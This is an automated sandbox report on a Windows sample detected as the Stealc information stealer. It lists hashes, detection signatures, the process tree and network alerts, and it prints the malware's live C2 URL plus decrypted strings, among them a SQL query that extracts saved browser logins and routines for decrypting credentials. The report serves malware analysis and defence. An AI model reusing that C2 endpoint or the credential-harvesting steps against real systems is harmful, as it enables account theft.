Edit tour

Windows Analysis Report
I43xo3KKfS.exe

Overview

General Information

Sample name:	I43xo3KKfS.exe renamed because original name is a hash value
Original sample name:	70601976ccafcd842cf413a269f70e7c.exe
Analysis ID:	1545882
MD5:	70601976ccafcd842cf413a269f70e7c
SHA1:	bc582afa67b9000676edf999d1077d9c3d425f94
SHA256:	a7d56a398503b0a313f781842427619c39f6d45eef285e2139e8e7e2d7640a6b
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Monitors registry run keys for changes

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal browser information (history, passwords, etc)

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

I43xo3KKfS.exe (PID: 4888 cmdline: "C:\Users\user\Desktop\I43xo3KKfS.exe" MD5: 70601976CCAFCD842CF413A269F70E7C)

chrome.exe (PID: 6596 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3532 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2236,i,12728769652571103709,16681002183324042487,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7700 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8016 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2824 --field-trial-handle=2580,i,9160805204216496030,1290202691667560686,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

WerFault.exe (PID: 5612 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4888 -s 1888 MD5: C31336C1EFC2CCB44B4326EA793040F2)

msedge.exe (PID: 7940 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7488 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2096,i,1110173691356344578,8625308391343283424,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://45.88.105.105/e88e05dfd1bdeeb9.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2466815767.0000000000990000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: I43xo3KKfS.exe PID: 4888	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: I43xo3KKfS.exe PID: 4888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: I43xo3KKfS.exe PID: 4888	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.I43xo3KKfS.exe.2490000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.I43xo3KKfS.exe.23b0e67.3.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.I43xo3KKfS.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.I43xo3KKfS.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.I43xo3KKfS.exe.23b0e67.3.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\I43xo3KKfS.exe", ParentImage: C:\Users\user\Desktop\I43xo3KKfS.exe, ParentProcessId: 4888, ParentProcessName: I43xo3KKfS.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6596, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T09:07:06.182339+0100	2044245	1	Malware Command and Control Activity Detected	45.88.105.105	80	192.168.2.6	49709	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T09:07:06.176191+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49709	45.88.105.105	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T09:07:06.423462+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49709	45.88.105.105	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T09:07:07.093268+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49709	45.88.105.105	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T09:07:06.430275+0100	2044247	1	Malware Command and Control Activity Detected	45.88.105.105	80	192.168.2.6	49709	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T09:07:05.927990+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49709	45.88.105.105	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T09:07:07.658640+0100	2803304	3	Unknown Traffic	192.168.2.6	49709	45.88.105.105	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: I43xo3KKfS.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://45.88.105.105/e88e05dfd1bdeeb9.php", "Botnet": "LogsDiller"}

Multi AV Scanner detection for submitted file

Source: I43xo3KKfS.exe	ReversingLabs: Detection: 47%
Source: I43xo3KKfS.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: I43xo3KKfS.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: 22
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: 11
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: 20
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: 24
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: lstrcatA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: OpenEventA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CreateEventA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CloseHandle
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Sleep
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: VirtualFree
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: lstrlenA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ExitProcess
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: user32.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CreateDCA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sscanf
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: HAL9TH
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: JohnDoe
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: DISPLAY
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: http://45.88.105.105
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: gjtwvm
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: /e88e05dfd1bdeeb9.php
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: /caf2400fcdb97982/
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: LogsDiller
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GlobalLock
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: HeapFree
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetFileSize
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GlobalSize
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Process32Next
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Process32First
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: LocalFree
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: FindClose
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ReadFile
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: WriteFile
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CreateFileA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CopyFileA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetLastError
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GlobalFree
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: OpenProcess
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ole32.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: wininet.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: shell32.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: psapi.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SelectObject
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: BitBlt
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: DeleteObject
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GdipFree
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CoInitialize
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetDC
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CloseWindow
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: wsprintfA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CharToOemW
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: wsprintfW
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: StrStrA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: StrCmpCW
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RmStartSession
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RmRegisterResources
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RmGetList
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: RmEndSession
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3_open
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3_step
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3_close
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: encrypted_key
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: PATH
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: NSS_Init
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: browser:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: profile:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: url:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: login:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: password:
Source: 0.3.I43xo3KKfS.exe.2490000.1.raw.unpack	String decryptor: Opera
